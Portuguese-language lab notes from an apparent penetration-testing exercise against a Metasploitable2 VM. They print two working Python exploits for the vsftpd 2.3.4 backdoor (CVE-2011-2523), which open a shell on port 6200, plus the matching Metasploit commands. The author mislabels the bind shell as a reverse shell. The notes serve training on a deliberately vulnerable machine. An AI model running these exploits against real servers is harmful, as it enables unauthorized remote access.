
Estas são anotações para a criação da metodologia de ataque em um ambiente controlado. Parte-se da premissa de que o exercício é em caixa preta, portanto desconheço informações do sistema vítima.
1- baixar as ISOs necessárias, tanto o metaexplotable2 quanto o Kali ou qualquer outra 2- importante: o ambiente está configurado com VMware, portanto ambas as máquinas devem ser executadas neste hipervisor 3- o processo inicial é executar um ping para verificar se existe conexão entre os dois pontos 4- usar nmap sV Pn 192.168.253.128; uma vez feito o reconhecimento, encontramos múltiplas portas 21 ftp vsftpd 2.3.4
Como parte do treinamento, pretende-se atacar cada porta para conseguir acesso de múltiplas formas; começamos com a porta a seguir. Trata-se de realizar uma situação de caixa preta para poder resolver ou simular condições reais o máximo possível.
Exploração da porta 21 FTP
Inicia-se com a utilização de nmap -Pn -sV 10.0.2.5 procuramos nas bases de dados públicas e encontramos o CVE-2011-2523, que é um backdoor, e tentaremos explorá-lo para ter acesso à máquina vítima.
primeiro, precisamos compreender que existe um backdoor na exploração que será realizada neste caso em particular. Ao tentar encontrar a forma de vulnerar este sistema por meio da vulnerabilidade existente, encontram-se informações no packetstorm.news; é apresentado um PoC que prova que é possível explorá-lo, mas não é totalmente funcional, como se pode ver no código a seguir:
#!/usr/bin/python3
from telnetlib import Telnet import argparse from signal import signal, SIGINT from sys import exit
def handler(signal_received, frame): # Handle any cleanup here print(' [+]Exiting...') exit(0)
signal(SIGINT, handler)
parser=argparse.ArgumentParser()
parser.add_argument("host", help="input the address of the vulnerable host", type=str)
args = parser.parse_args()
host = args.host
portFTP = 21 #if necessary edit this line
user="USER nergal:)" password="PASS pass"
tn=Telnet(host, portFTP) tn.read_until(b"(vsFTPd 2.3.4)") #if necessary, edit this line tn.write(user.encode('ascii') + b"\n") tn.read_until(b"password.") #if necessary, edit this line tn.write(password.encode('ascii') + b"\n")
tn2=Telnet(host, 6200)
print('Success, shell opened')
print('Send exit to quit shell')
tn2.interact()
Ao ler o código, pode-se compreender que a intenção é provar que é possível fazê-lo, não torná-lo um script funcional; por isso, para realizar práticas mais realistas, fiz uma modificação substancial para que ele tivesse um shell reverso, o que permitiria um acesso mais adequado desde o momento da execução do código. A modificação do código levou ao seguinte resultado: #!/usr/bin/env python3
import socket import sys import time
def connect_ftp(host, port=21): try: s = socket.socket() s.connect((host, port)) banner = s.recv(1024).decode(errors='ignore') print(f"[+] FTP Banner: {banner.strip()}")
# Enviar payload del backdoor
s.sendall(b'USER backdoor:)\r\n')
time.sleep(0.5)
s.sendall(b'PASS whatever\r\n')
time.sleep(0.5)
s.close()
return True
except Exception as e:
print(f"[!] Error conectando al FTP: {e}")
return False
def connect_backdoor_shell(host, port=6200): try: print(f"[+] Intentando conectar con la shell backdoor en {host}:{port}...") shell = socket.socket() shell.settimeout(3) shell.connect((host, port)) print("[+] ¡Shell obtenida!")
while True:
cmd = input("shell> ")
if cmd.strip().lower() == "exit":
break
shell.sendall((cmd + "\n").encode())
# Lee todos los datos disponibles hasta timeout
output = b""
while True:
try:
chunk = shell.recv(4096)
if not chunk:
break
output += chunk
# Espera un poco para ver si hay más datos
time.sleep(0.1)
except socket.timeout:
break
if output:
print(output.decode(errors='ignore'))
else:
print("[!] Sin respuesta del shell.")
shell.close()
except Exception as e:
print(f"[!] Falló al conectar con la shell: {e}")
if name == "main": if len(sys.argv) != 2: print(f"Uso: {sys.argv[0]} ") sys.exit(1)
target_ip = sys.argv[1]
if connect_ftp(target_ip):
time.sleep(1) # Da tiempo al backdoor para abrir el puerto
connect_backdoor_shell(target_ip)
else:
print("[!] No se pudo conectar o el objetivo no parece vulnerable.")
Pelo exposto, pode-se compreender que pode ser uma forma manual rebuscada de enfrentar este exemplo, mas trata-se de criar diversas opções para crescer no ambiente de segurança da informação e melhorar as habilidades.
A outra forma que se pode empregar é usando o Metasploit da seguinte forma msfconsole use exploit/unix/ftp/vsftpd_234_backdoor set RHOSTS 10.0.2.5 run como se pode perceber, ambos fazem exatamente a mesma coisa, só que um já está automatizado e o outro é um processo mais manual.